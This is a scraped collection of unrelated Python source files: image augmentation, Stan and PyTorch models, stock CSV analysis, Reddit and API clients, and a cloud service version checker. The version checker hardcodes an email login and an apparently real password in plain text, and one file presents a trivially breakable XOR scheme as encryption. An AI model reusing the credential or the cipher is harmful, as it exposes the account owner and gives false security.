cv2.getRotationMatrix2D(angle=a, center=(img.shape[1] / 2, img.shape[0] / 2), scale=s)\n\n # Translation\n T = np.eye(3)\n T[0, 2] = random.uniform(-translate, translate) * img.shape[1] + border[1] # x translation (pixels)\n T[1, 2] = random.uniform(-translate, translate) * img.shape[0] + border[0] # y translation (pixels)\n\n # Shear\n S = np.eye(3)\n S[0, 1] = math.tan(random.uniform(-shear, shear) * math.pi / 180) # x shear (deg)\n S[1, 0] = math.tan(random.uniform(-shear, shear) * math.pi / 180) # y shear (deg)\n\n # Combined rotation matrix\n M = S @ T @ R # ORDER IS IMPORTANT HERE!!\n if (border[0] != 0) or (border[1] != 0) or (M != np.eye(3)).any(): # image changed\n img = cv2.warpAffine(img, M[:2], dsize=(width, height), flags=cv2.INTER_LINEAR, borderValue=(114, 114, 114))\n\n # Transform label coordinates\n n = len(targets)\n if n:\n # warp points\n xy = np.ones((n * 4, 3))\n xy[:, :2] = targets[:, [1, 2, 3, 4, 1, 4, 3, 2]].reshape(n * 4, 2) # x1y1, x2y2, x1y2, x2y1\n xy = (xy @ M.T)[:, :2].reshape(n, 8)\n\n # create new boxes\n x = xy[:, [0, 2, 4, 6]]\n y = xy[:, [1, 3, 5, 7]]\n xy = np.concatenate((x.min(1), y.min(1), x.max(1), y.max(1))).reshape(4, n).T\n\n # # apply angle-based reduction of bounding boxes\n # radians = a * math.pi / 180\n # reduction = max(abs(math.sin(radians)), abs(math.cos(radians))) ** 0.5\n # x = (xy[:, 2] + xy[:, 0]) / 2\n # y = (xy[:, 3] + xy[:, 1]) / 2\n # w = (xy[:, 2] - xy[:, 0]) * reduction\n # h = (xy[:, 3] - xy[:, 1]) * reduction\n # xy = np.concatenate((x - w / 2, y - h / 2, x + w / 2, y + h / 2)).reshape(4, n).T\n\n # reject warped points outside of image\n xy[:, [0, 2]] = xy[:, [0, 2]].clip(0, width)\n xy[:, [1, 3]] = xy[:, [1, 3]].clip(0, height)\n w = xy[:, 2] - xy[:, 0]\n h = xy[:, 3] - xy[:, 1]\n area = w * h\n area0 = (targets[:, 3] - targets[:, 1]) * (targets[:, 4] - targets[:, 2])\n ar = np.maximum(w / (h + 1e-16), h / (w + 1e-16)) # aspect ratio\n i = (w > 2) & (h > 2) & (area / (area0 * s + 1e-16) > 0.2) & (ar < 20)\n\n targets = targets[i]\n targets[:, 1:5] = xy[i]\n\n return img, targets","sub_path":"src/lib/utils/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":17618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"414397147","text":"\nfrom .....predict.pipelines import PresencePipe\nfrom .....predict.stan.base import *\nfrom .....predict.stan.margins.classifiers import CauchyLabels\nfrom .....predict.stan.margins.stan_models import cauchy_model as use_model\n\nfrom scipy.stats import lognorm\nfrom sklearn.preprocessing import RobustScaler\n\n\nclass UseOverlap(CauchyLabels):\n\n def __init__(self, model_code, alpha=0.01):\n super().__init__(model_code,\n wt_distr=(-1.0, 1.0), mut_distr=(1.0, 1.0),\n alpha=alpha)\n\n def predict_proba(self, X):\n return self.calc_pred_labels(X)\n\n\nclass UseOptimizing(UseOverlap, StanOptimizing):\n \n def run_model(self, **fit_params):\n super().run_model(**{**fit_params, **{'iter': 1e5}})\n\n\nclass UseVariational(UseOverlap, StanVariational):\n pass\n\n\nclass UseSampling(UseOverlap, StanSampling):\n\n def run_model(self, **fit_params):\n super().run_model(**{**fit_params, **{'iter': 150}})\n\n\nclass UsePipe(PresencePipe):\n\n tune_priors = (\n ('fit__alpha', lognorm(scale=1e-2, s=2)),\n )\n\n def __init__(self, fit_inst):\n self.fit_inst = fit_inst\n super().__init__([('norm', RobustScaler()), ('fit', self.fit_inst)])\n\n","sub_path":"HetMan/experiments/stan_test/distr/models/overlap_cauchy.py","file_name":"overlap_cauchy.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"121601634","text":"'''\n This Module provides analysis of a CSV stock market file.\n Example CSV file used: http://finance.yahoo.com/quote/goog/history?ltr=1\n\n Format: Date,Open,High,Low,Close,Volume,Adj Close\n'''\n\nimport csv\n\n\nclass CSVAnalyzer:\n\n def __init__(self):\n self._range = 0 # The range is the length of all lists, as al lists are the same length\n self._dateList = []\n self._openList = []\n self._highList = []\n self._lowList = []\n self._closeList = []\n self._volumeList = []\n self._adjCloseList = []\n\n def scanFile(self):\n print(\"Scanning file\")\n\n file = open('google.csv')\n reader = csv.reader(file, delimiter=',')\n\n for row in reader:\n self.buildLists(row)\n\n self.clearLists() # Removes 'Date', 'Open', etc. from all lists\n self._range = len(self._dateList)\n\n print(\"File scanned\")\n\n # Takes a row of the CSV file and adds each data point into a list\n def buildLists(self, row):\n self._dateList.append(row[0])\n self._openList.append(row[1])\n self._highList.append(row[2])\n self._lowList.append(row[3])\n self._closeList.append(row[4])\n self._volumeList.append(row[5])\n self._adjCloseList.append(row[6])\n\n # Removes 'Date', 'Open', etc. from all lists\n def clearLists(self):\n self._dateList.pop(0)\n self._openList.pop(0)\n self._highList.pop(0)\n self._lowList.pop(0)\n self._closeList.pop(0)\n self._volumeList.pop(0)\n self._adjCloseList.pop(0)\n\n def getMin(self, listName):\n if listName == \"date\":\n return min(self._dateList)\n elif listName == \"open\":\n return min(self._openList)\n elif listName == \"high\":\n return min(self._highList)\n elif listName == \"low\":\n return min(self._lowList)\n elif listName == \"close\":\n return min(self._closeList)\n elif listName == \"volume\":\n return min(self._volumeList)\n else:\n return min(self._adjCloseList)\n\n def getMax(self, listName):\n if listName == \"date\":\n return max(self._dateList)\n elif listName == \"open\":\n return max(self._openList)\n elif listName == \"high\":\n return max(self._highList)\n elif listName == \"low\":\n return max(self._lowList)\n elif listName == \"close\":\n return max(self._closeList)\n elif listName == \"volume\":\n return min(self._volumeList)\n else:\n return max(self._adjCloseList)\n\n\na = CSVAnalyzer()\na.scanFile()\nprint(a.getMin('high'))\n\n","sub_path":"csv_analyzer.py","file_name":"csv_analyzer.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"248797249","text":"from spt3g import core, mapmaker\nimport spt3g.mapmaker.mapmakerutils as mmu\nimport spt3g.std_processing as std_processing\n\n\ndef doshit(dyno):\n fn = '/home/nlharr/tmp/rcw38-21Apr2015.g3'\n smstub = std_processing.CreateSourceMapStub('rcw38', x_len = 400, y_len = 400, \n res = 0.5 * core.G3Units.arcmin,\n proj = mapmaker.MapProjection.ProjLambertAzimuthalEqualArea)\n individual_bolos_to_map = ['Sq1SBpol03Ch1', 'Sq1SBpol03Ch10', \n 'Sq1SBpol03Ch11', 'Sq1SBpol03Ch12', \n 'Sq1SBpol03Ch2', 'Sq1SBpol03Ch3', \n 'Sq1SBpol03Ch4', 'Sq1SBpol03Ch5', 'Sq1SBpol03Ch6']\n pipe = core.G3Pipeline()\n pipe.Add(core.G3Reader,\n filename = fn)\n pipe.Add(std_processing.MakeBootstrappedIndividualBoloMap,\n map_in = smstub, poly_order = 4,\n ts_in_key = 'RawTimestreams_I', \n individual_bolos_to_map = individual_bolos_to_map,\n use_dyno_filter = dyno\n )\n map_extractor = mapmaker.mapmakerutils.ExtractTheMaps()\n pipe.Add(core.Dump)\n pipe.Add(map_extractor)\n pipe.Run(profile = True)\n return map_extractor\n\nmsked = doshit(True)\n#reg = doshit(False)\n","sub_path":"scratch/nlharr/rcw38map/makemap.py","file_name":"makemap.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"384609102","text":"# using python2.x,with MySQLdb\nimport MySQLdb as mdb\n\ndef read_image(name):\n with open(name) as f:\n return f.read()\n\n# create table and save image\nconn = mdb.connect(\"localhost\",\"root\",\"root\",\"testdb\")\nwith conn:\n cur = conn.cursor()\n cur.execute(\"DROP TABLE IF EXISTS Images\")\n cur.execute(\"CREATE TABLE Images(Id INT PRIMARY KEY,Data MEDIUMBLOB)\")\n data = read_image('1.png')\n cur.execute(\"INSERT INTO Images VALUES(1,%s)\",(data,))\n","sub_path":"MySQLdbDemo/dbDemo9.py","file_name":"dbDemo9.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"342339888","text":"import unittest\nfrom lib.utils import *\nfrom setting import *\nimport ddt\n\n@ddt.ddt\nclass Draw(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.responses = {}\n\n @ddt.file_data(os.path.join(DATA_PATH,'draw.yaml'))\n def test_draw( self,**params):\n self._testClassName = params.get('case') # 测试类\n self._testMethodName = params.get(\"uri\") # 请求方法\n self._testMethodDoc = params.get('detail') # 用例说明\n url = API_URL + params.get('uri')\n method = params.get('method')\n data = params.get('data')\n check = params.get('check')\n header = API_HEADER # 获取头部数据\n\n # 依赖数据获取\n rely_data = params.get(\"rely\")\n if rely_data:\n data = rely_func(rely_data)\n if not data:\n return\n # 根据方法构造请求\n if method.lower() == 'post':\n res = requests.post(url, json = data, headers = header)\n else:\n res = requests.post(url, params = data, headers = header)\n resp = res.json()\n\n # 打印数据\n print(\"请求数据:\", data, \"
\")\n print(\"HOST:\", url, \"
\")\n print(\"Header\", header)\n print(\"status:\", resp['status'])\n print(\"Message:\", resp['message'])\n print(\"响应结果:\", resp)\n print(\"断言内容:\", check)\n\n # 断言\n for c in check:\n self.assertIn(c, set_res_data(res.text))\n","sub_path":"cases/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"56856753","text":"#!/usr/bin/python3\n\"\"\" Function to get first 10 hot post \"\"\"\nimport requests\n\n\ndef top_ten(subreddit):\n \"\"\" get top 10 hot post \"\"\"\n\n url = 'https://www.reddit.com/r/{}/hot.json'.format(subreddit)\n header = {\n 'User-agent': 'Mozilla/5.0'\n }\n limit = {\n 'limit': 10\n }\n re = requests.get(url, headers=header, allow_redirects=False, params=limit)\n\n if re.status_code is 200:\n re = re.json()\n top = re.get('data').get('children')\n for dic in top:\n dic = dic.get('data')\n print(dic.get('title'))\n else:\n print(None)\n","sub_path":"0x16-api_advanced/1-top_ten.py","file_name":"1-top_ten.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"468659799","text":"import os\nimport pandas as pd\nimport numpy as np\nfrom PIL import Image\n\nim_path = '/home/math13/JR/kaggle/train'\ncsv_train = '/home/math13/JR/kaggle/train_ship_segmentations_v2.csv'\n\nif __name__ == '__main__':\n \n df = pd.read_csv(csv_train)\n print(df.shape[0])\n\n \n num_of_ships = df.shape[0]\n print(num_of_ships)\n\n \n for line in range(num_of_ships):\n if df.iloc[line,0] not in images:\n images.add(df.iloc[line,0])\n print(len(images))\n\n \n count = 0\n ims = os.listdir(im_path)\n for im in ims:\n if im not in images:\n os.remove(os.path.join(im_path, im))\n count += 1\n print('%d images is deleted.'%(count))","sub_path":"0_airbus_delete_empty_im.py","file_name":"0_airbus_delete_empty_im.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"567519040","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport matplotlib as mpl\n\nclass ImageManipulator( object ):\n def __init__(self, imageFileName):\n self.image = cv2.imread(imageFileName)\n self.font = cv2.FONT_HERSHEY_SIMPLEX\n norm = mpl.colors.Normalize(vmin=0, vmax=1)\n self.colorMap = cm.ScalarMappable(norm=norm, cmap=cm.jet)\n self.heatmapVis = 0.5\n\n def addPixelMap(self, pixelMap):\n \"\"\"Overlay pixelMap as heatmap on top of image\"\"\"\n heatmap = self.colorMap.to_rgba(pixelMap,bytes=True)\n # opencv uses BGR but matplotlib users rgb\n r,g,b,a = cv2.split(heatmap)\n heatmap_bgr = cv2.merge([b,g,r])\n self.image = cv2.addWeighted(heatmap_bgr, self.heatmapVis, self.image, 1 - self.heatmapVis, 0)\n\n def addLabeledBbox(self, bbox, label):\n \"\"\"Overlay bboxes with labels\"\"\"\n textColor = (256,256,256)\n colorForeground = (0,0,256)\n colorBackground = (256,256,256)\n pts = bbox.cv2_format()\n cv2.polylines(self.image, [pts - 1], True, colorForeground)\n cv2.polylines(self.image, [pts], True, colorBackground)\n cv2.polylines(self.image, [pts + 1], True, colorForeground)\n cv2.putText(self.image, label, (pts[0][0][0] + 5, pts[0][0][1] + 20), self.font, 0.8 , textColor, 2)\n\n def show(self):\n \"\"\"Show current image state\"\"\"\n # opencv uses BGR but matplotlib users rgb\n b,g,r = cv2.split(self.image)\n rgb_image = cv2.merge([r,g,b])\n plt.imshow(rgb_image)\n\n def extract_patch(self, bbox, outputPatchName, patchWidth, patchHeight):\n \"\"\"Extract patch from image at specified bbox location\"\"\"\n tX0 = bbox.x0\n tY0 = bbox.y0\n tW = bbox.x0 + bbox.width\n tH = bbox.y0 + bbox.height\n patch = self.image[tY0:tH, tX0:tW].copy()\n patch = cv2.resize(patch, (patchWidth, patchHeight))\n cv2.imwrite(outputPatchName, patch)\n\n def getImage(self):\n \"\"\"Return current image state\"\"\"\n return self.image\n\n def saveImage(self, outputFileName):\n \"\"\"Save current image state\"\"\"\n cv2.imwrite(outputFileName, self.image)\n\n","sub_path":"Logo/PipelineCore/ImageManipulator.py","file_name":"ImageManipulator.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"102515027","text":"import sys\nimport json\nimport time\nimport urllib\nimport smtplib\nimport socket\nfrom datetime import datetime\nfrom pytz import timezone\nimport pytz\nimport os\nimport requests\n\nserver={}\ndiff={}\n\nclass serverstatusclass:\n servername = ''\n index = ''\n service = ''\n veng = 'X.X.XX'\n vcloud = 'X.X.XX'\n\ndef diffschema(expected, actual):\n \"\"\"\n Helper function. Returns a string containing the unified diff of two multiline strings.\n \"\"\"\n\n import difflib\n expected=expected.splitlines(1)\n actual=actual.splitlines(1)\n\n diff=difflib.unified_diff(expected, actual)\n\n return ''.join(diff)\n\ndef sendemail(user, pwd, recipient, subject, body):\n import smtplib\n\n FROM = user\n TO = recipient if isinstance(recipient, list) else [recipient]\n SUBJECT = subject\n TEXT = body\n print(body)\n\n # Prepare actual message\n message = \"\"\"From: %s\\nTo: %s\\nSubject: %s\\n\\n%s\n \"\"\" % (FROM, \", \".join(TO), SUBJECT, TEXT)\n try:\n server = smtplib.SMTP(\"smtp.gmail.com\", 587)\n server.ehlo()\n server.starttls()\n server.login(user, pwd)\n server.sendmail(FROM, TO, message)\n server.close()\n print('successfully sent the mail to {0}'.format(recipient))\n except:\n print('failed to send email')\n\n'''\ndef sendemail(user, pwd, recipient, subject, cloudreport):\n import smtplib\n print(user)\n print(pwd)\n print(recipient)\n print(subject)\n print(cloudreport)\n FROM = user\n TO = recipient if isinstance(recipient, list) else [recipient]\n print('sendemail') \n # Prepare actual message\n message = \"\"\"From: %s\\nTo: %s\\nSubject: %s\\n\\n%s\n \"\"\" % (FROM, \", \".join(TO), subject, cloudreport)\n try:\n server = smtplib.SMTP(\"smtp.gmail.com\", 587)\n server.ehlo()\n server.starttls()\n server.login(user, pwd)\n server.sendmail(FROM, TO, cloudreport)\n server.close()\n print('successfully sent the mail to {0}'.format(recipient))\n except:\n print('failed to send email')\n'''\n\ndef emailnotification(cloudreport, emailnotifyaddress, emailpassword):\n \n print('Sending notification ') \n hostname = (socket.gethostname())\n date_format='%m/%d/%Y %H:%M:%S %Z'\n date = datetime.now(tz=pytz.utc)\n date = date.astimezone(timezone('US/Pacific'))\n timestamp = date.strftime(date_format)\n FROM = \"jenkins@lunera.com\"\n \n SUBJECT = ' Cloud Processes Uptime Report \\n' \n TEXT = cloudreport \n \n # Prepare actual message\n message = \"\"\"From: %s\\nTo: %s\\nSubject: %s\\n\\n%s\n \"\"\" % (FROM, \", \".join(emailnotifyaddress), SUBJECT, TEXT)\n server=smtplib.SMTP(\"smtp.office365.com\", 587)\n server.starttls()\n server.login(FROM, emailpassword)\n server.sendmail(FROM, emailnotifyaddress, message)\n\ndef getprocessstatus(processstatus):\n\n for line in processstatus.splitlines():\n if 'Active:' in line:\n return line\n\ndef getcloudstatus(cloudstatusinfo):\n\n print('printing cloud status')\n\n global server \n global diff\n\n cloudreport = ''\n\n cloudstatusinfo.sort(key=lambda x: x.service, reverse=True)\n\n for serverstatus in cloudstatusinfo:\n #if diff[serverstatus.service] == True:\n print(\"servername : {0} service : {1} eng : {2} cloud : {3} \\n\".format(serverstatus.servername, serverstatus.service, serverstatus.veng, serverstatus.vcloud))\n cloudreport += serverstatus.servername + \" : index :\" + serverstatus.index + \" : \"+ serverstatus.service + \" eng : \" + serverstatus.veng + \" cloud : \" + serverstatus.vcloud + \"\\n\"\n #cloudreport += \" servername : \" + serverstatus.servername + \" service : \" + serverstatus.service + \" eng : \" + serverstatus.veng + \" cloud : \" + serverstatus.vcloud + \"\\n\"\n #else:\n print('NO DIFF for service {0}'.format(serverstatus.service))\n\n return cloudreport \n\ndef checkserviceversion(cloudstatusinfo, servicename):\n \n prevversion = ''\n versions = []\n\n for serverstatus in cloudstatusinfo:\n if serverstatus.service == servicename:\n versions.append(serverstatus.version)\n\n print(versions)\n\n for version in versions:\n if prevversion != '' and version != prevversion:\n return False\n else:\n prevversion = version\n\n return True\n\ndef insertintocloudstatus(cloudstatusinfo, servername, index, service, env, version):\n global server \n global diff\n \n for serverstatus in cloudstatusinfo:\n\n if servername == 'eng' and serverstatus.index == index and serverstatus.service == service:\n print(servername)\n servername = serverstatus.servername\n\n if serverstatus.servername == servername and serverstatus.index == index and serverstatus.service == service:\n print('entry exists')\n\t\n if env == 'eng':\n serverstatus.veng = version\n if env == 'prod':\n serverstatus.vcloud = version\n \n if server[service] == 'X.X.XX':\n \tserver[service] = version\n elif server[service] != version: \n diff[service] = True\n\n return True\n\n print('Adding new entry')\n\n serverstat = serverstatusclass()\n serverstat.servername = servername \n serverstat.index = index\n serverstat.service = service\n if env == 'eng':\n serverstat.veng = version\n if env == 'cloud':\n serverstat.vcloud = version\n\n cloudstatusinfo.append(serverstat)\n\n return True\n\ndef getversioninfo(cloudstatusinfo, env, jumphost, servername, indexes, services):\n \n for index in indexes:\n for service in services:\n cmd=\"ssh -TAtt ubuntu@\" + jumphost + \" ssh -A ubuntu@\" + servername + index + \".dev.lunera.com 'cat /lunera/code/\" + service + \"/current/version.txt'\"\n print(cmd)\n version = os.popen(cmd).read().rstrip()\n print(\" version {0}\".format(version))\n \n insertintocloudstatus(cloudstatusinfo, servername, index, service, env, version)\n \n return True\n\ndef getccversioninfo(cloudstatusinfo, env):\n\n servername = 'control-center'\n index = '00'\n service = 'control-center'\n \n if env == 'eng':\n cmd = 'curl https://eng.lunera.com/version.txt'\n if env == 'prod':\n cmd = 'curl https://cloud.lunera.com/version.txt'\n\n version = os.popen(cmd).read().rstrip()\n print(\" version {0}\".format(version))\n \n insertintocloudstatus(cloudstatusinfo, servername, index, service, env, version)\n\n return True\n\ndef getcassschema(env, jumphost): \n\n cmd=\"ssh -TAtt ubuntu@\" + jumphost + \" ssh -A ubuntu@cassandra0001.dev.lunera.com 'bash cqlschema.sh'\"\n print(cmd)\n cassschema = os.popen(cmd).read().rstrip()\n \n return cassschema\n\ndef cloudcheck():\n\n emailnotifyaddress=['jayant.rai@oronetworks.com']\n user='no-reply@oronetworks.com'\n emailpassword = '5S2ZDjL74c'\n cloudreport ='\\n\\n-------------- LUNERA CLOUD PROCESS STATUS ------------------\\n'\n jumphostcloud = '18.221.144.194'\n jumphosteng = '13.59.242.61'\n cloudstatusinfo = []\n \n server['control-center'] = 'X.X.XX'\n server['AssetTracking'] = 'X.X.XX'\n server['data-mapper'] = 'X.X.XX'\n server['data-reducer'] = 'X.X.XX'\n server['data-api-server'] = 'X.X.XX'\n server['facilities-us'] = 'X.X.XX'\n server['service-now'] = 'X.X.XX'\n server['visibility-webhook'] = 'X.X.XX'\n server['asset-tracking-config-api'] = 'X.X.XX'\n server['electric-imp-enroll'] = 'X.X.XX'\n server['opsgenie'] = 'X.X.XX'\n \n diff['control-center'] = False\n diff['AssetTracking'] = False\n diff['data-mapper'] = False\n diff['data-reducer'] = False\n diff['data-api-server'] = False\n diff['facilities-us'] = False\n diff['service-now'] = False\n diff['visibility-webhook'] = False\n diff['asset-tracking-config-api'] = False\n diff['electric-imp-enroll'] = False\n diff['opsgenie'] = False\n\n assettrackingdiff = 0 \n dataapidiff = 1\n apidiff = 0 \n ccdiff = 0 \n\n if assettrackingdiff == 1:\n\n env = 'cloud'\n indexes = ['01', '02']\n services = ['AssetTracking']\n getversioninfo(cloudstatusinfo, env, jumphostcloud, 'assettracking', indexes , services)\n\n env = 'eng'\n indexes = ['01', '02']\n services = ['AssetTracking']\n getversioninfo(cloudstatusinfo, env, jumphosteng, 'eng', indexes , services)\n\n if dataapidiff == 1:\n\n env = 'cloud'\n indexes = ['01', '02', '03']\n services = ['data-mapper', 'data-reducer']\n getversioninfo(cloudstatusinfo, env, jumphostcloud, 'data-mapper', indexes , services)\n\n env = 'eng'\n indexes = ['01', '02']\n services = ['data-mapper', 'data-reducer']\n getversioninfo(cloudstatusinfo, env, jumphosteng, 'eng', indexes , services)\n\n env = 'cloud'\n indexes = ['01', '02', '03']\n services = ['data-api-server']\n getversioninfo(cloudstatusinfo, env, jumphostcloud, 'data-api', indexes , services)\n\n env = 'eng'\n indexes = ['01', '02']\n services = ['data-api-server']\n getversioninfo(cloudstatusinfo, env, jumphosteng, 'eng', indexes , services)\n\n if apidiff == 1:\n\n env = 'cloud'\n indexes = ['01', '02']\n #services = ['facilities-us', 'asset-tracking-config-api', 'visibility']\n services = ['facilities-us', 'service-now','visibility-webhook', 'asset-tracking-config-api', 'electric-imp-enroll', 'opsgenie']\n getversioninfo(cloudstatusinfo, env, jumphostcloud, 'api', indexes , services)\n\n env = 'eng'\n indexes = ['01', '02']\n services = ['facilities-us', 'service-now', 'visibility-webhook', 'asset-tracking-config-api', 'electric-imp-enroll']\n getversioninfo(cloudstatusinfo, env, jumphosteng, 'eng', indexes , services)\n\n env = 'eng'\n indexes = ['01', '02']\n services = ['opsgenie']\n getversioninfo(cloudstatusinfo, env, jumphosteng, 'opsgenie', indexes , services)\n\n if ccdiff == 1:\n \n getccversioninfo(cloudstatusinfo, 'eng')\n getccversioninfo(cloudstatusinfo, 'prod')\n\n cloudreport = getcloudstatus(cloudstatusinfo)\n\n #cassschemaeng = getcassschema('eng', jumphosteng)\n \n #print(cassschemaeng)\n\n #cassschemaprod = getcassschema('cloud', jumphostcloud)\n \n #print(cassschemaprod)\n\n #diffstring = diffschema(cassschemaeng, cassschemaprod)\n\n #print(diffstring)\n\n #sendemail(user, emailpassword, emailnotifyaddress, \"ENG PROD DIFF REPORT\", cloudreport)\n \ncloudcheck()\n","sub_path":"cmpprodeng.py","file_name":"cmpprodeng.py","file_ext":"py","file_size_in_byte":10573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"414487999","text":"print(\"КАЛЕКАлятор\")\nflag = True\nwhile flag:\n operate = input(\"Выбери знак (+,-,*,/)\")\n val_1 = int(input(\"x=\"))\n val_2 = int(input(\"y=\"))\n if operate == '+':\n result = val_1 + val_2\n elif operate == '-':\n result = val_1 - val_2\n elif operate == '*':\n result = val_1 * val_2\n elif operate == '/':\n if val_2 != 0:\n result = val_1/val_2\n elif val_2==0:\n result = \"На ноль делить нельзя\"\n else:\n result = \"Неверный знак\"\n \n print(result)\n counter = 0\n while True:\n if counter == 3:\n exit()\n command = input(\"Продолжить? Да\\Нет \")\n if command == \"Да\":\n break\n elif command == \"Нет\":\n flag = False \n break\n else: \n counter+=1 \n \n \n\n","sub_path":"lab_1.py","file_name":"lab_1.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"320132402","text":"import sys\nimport heapq, math\nfrom itertools import zip_longest, permutations, combinations, combinations_with_replacement\nfrom itertools import accumulate, dropwhile, takewhile, groupby\nfrom functools import lru_cache\nfrom copy import deepcopy\n\nN, C = map(int, input().split())\nCM = [list(map(int, input().split())) for _ in range(C)]\nNM = [list(map(int, input().split())) for _ in range(N)]\n\ncnt = [[0] * (C + 1) for _ in range(3)]\n\nfor i in range(N):\n for j in range(N):\n cnt[(i + j + 2) % 3][NM[i][j]] += 1\n\nans = 1 << 28\nfor i in range(1, C + 1):\n for j in range(1, C + 1):\n for k in range(1, C + 1):\n if i == j or j == k or i == k:\n continue\n c = 0\n for l in range(1, C + 1):\n c += cnt[0][l] * CM[l - 1][i - 1]\n c += cnt[1][l] * CM[l - 1][j - 1]\n c += cnt[2][l] * CM[l - 1][k - 1]\n ans = min(ans, c)\n\nprint(ans)","sub_path":"Python_codes/p03330/s389914865.py","file_name":"s389914865.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"430739460","text":"import random\n\n\ndef encrypt(msg, key):\n IV = chr(random.getrandbits(8))\n print('IV: ', IV)\n enc_msg = ''\n for ind, char in enumerate(msg):\n if enc_msg == '':\n prev = chr(ord(char) ^ ord(IV) ^ ord(key[ind % len(key)]) )\n enc_msg += prev\n else:\n prev = chr(ord(char) ^ ord(prev) ^ ord(key[ind % len(key)]))\n enc_msg += prev\n enc_msg = IV + enc_msg\n return enc_msg\n\n\ndef decrypt(secret, key):\n IV = secret[0:1]\n print('IV: ', IV)\n enc_msg = secret[1:]\n dec_msg = ''\n for ind, char in enumerate(enc_msg):\n if dec_msg == '':\n prev = chr(ord(char) ^ ord(key[ind % len(key)]) ^ ord(IV))\n dec_msg += prev\n else:\n prev = chr(ord(char) ^ ord(enc_msg[ind-1]) ^ ord(key[ind % len(key)]))\n dec_msg += prev\n return dec_msg\n\n\nmess = encrypt('bird', 's')\nprint('encrypt: ', mess)\nssem = decrypt(mess, 's')\nprint('decrypt: ', ssem)\n","sub_path":"vigenere.py","file_name":"vigenere.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"443643966","text":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\nimport numpy as np\n\n\nclass Actor(nn.Module):\n def __init__(self, state_size, action_size, action_range=None):\n super(Actor, self).__init__()\n hidden_units = 256\n\n if action_range is None:\n action_range = [[-1, 1] for _ in range(action_size)]\n action_range = np.array(action_range)\n self.action_0 = torch.from_numpy(action_range[:, 0]).float()\n self.action_range = torch.from_numpy(\n np.diff(action_range, axis=1)[:, 0]).float()\n\n self.dropout = nn.Dropout()\n self.pi = nn.Sequential(\n nn.Linear(in_features=state_size, out_features=400),\n nn.ELU(),\n self.dropout,\n nn.Linear(in_features=400, out_features=300),\n nn.ELU(),\n nn.Linear(in_features=300, out_features=action_size),\n )\n\n def forward(self, state):\n x = self.pi(state)\n x = F.tanh(x)\n return x\n\n def to(self, *args, **kwargs):\n self.action_0 = self.action_0.to(*args, **kwargs)\n self.action_range = self.action_range.to(*args, **kwargs)\n return super(Actor, self).to(*args, **kwargs)\n","sub_path":"actor.py","file_name":"actor.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"340117408","text":"import math\nimport numpy as np\n\nfrom sklearn.feature_extraction.text import CountVectorizer\n\n\nclass DataSetMiner(object):\n def __init__(self, documents):\n self.__documents = documents\n self.__data_set_info = self.__set_data_set_info__()\n '''\n This method sets the __data_set_info dictionary which contains values of tf and tf-idf values of given data set.\n '''\n def __set_data_set_info__(self):\n # print(documents)\n vectorizer = CountVectorizer()\n x = vectorizer.fit_transform(self.__documents)\n\n cols = vectorizer.get_feature_names()\n tf = x.toarray()\n\n new_list = [tf[i] / len(self.__documents[i]) for i in range(len(self.__documents))]\n some_dict = {}\n a = np.array(new_list)\n for i in range(len(cols)):\n max_tf = max(a[:, i])\n word_name = cols[i]\n appeared = 0\n for j in range(len(self.__documents)):\n if a[j, i] > 0: appeared += 1\n\n idf = math.log10(len(self.__documents) / appeared)\n some_dict[i] = {\n 'term_name': word_name,\n 'max_tf': max_tf,\n 'appeared': appeared,\n 'tf_idf': max_tf * idf,\n 'tf_list': a[:, i],\n 'term_occurrence_list': tf[:, i],\n 'total_term_count': len(cols)\n }\n return some_dict\n '''\n Getter for __data_set_info\n '''\n def get_data_set_info(self):\n return self.__data_set_info\n\n '''\n This and below methods creaets dictionaries which wil be passed to WordClouder's make_world_cloud method\n '''\n def get_occurrence_tf(self):\n result_dict = {}\n for word_info in self.__data_set_info.values():\n result_dict[word_info[\"term_name\"]] = sum(word_info[\"term_occurrence_list\"]) / word_info[\"total_term_count\"]\n return result_dict\n\n def get_occurrence_tf_idf(self):\n result_dict = {}\n for word_info in self.__data_set_info.values():\n result_dict[word_info[\"term_name\"]] = (sum(word_info[\"term_occurrence_list\"]) / word_info[\n \"total_term_count\"]) * word_info[\"tf_idf\"]\n return result_dict\n\n def get_tf(self):\n result_dict = {}\n for word_info in self.__data_set_info.values():\n result_dict[word_info[\"term_name\"]] = word_info[\"max_tf\"]\n return result_dict\n\n def get_tf_idf(self):\n result_dict = {}\n for word_info in self.__data_set_info.values():\n result_dict[word_info[\"term_name\"]] 